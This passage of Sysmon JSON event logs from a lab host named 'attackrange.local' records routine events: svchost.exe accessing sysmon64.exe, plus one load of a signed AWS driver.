C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1227,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.328\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xeniface.sys\r\nHashes: MD5=F1A750612F0ED79D435FA3D149331D69,SHA256=7416108B01624EBC62D5E200818D2A0AD08B8B87D13F65FDA716F7E7358C1CB1,IMPHASH=B7B4CB7750B42CE3E3BD994E129A5D9A\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.328","ImageLoaded":"C:\\Windows\\System32\\drivers\\xeniface.sys","Hashes":"MD5=F1A750612F0ED79D435FA3D149331D69,SHA256=7416108B01624EBC62D5E200818D2A0AD08B8B87D13F65FDA716F7E7358C1CB1,IMPHASH=B7B4CB7750B42CE3E3BD994E129A5D9A","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","E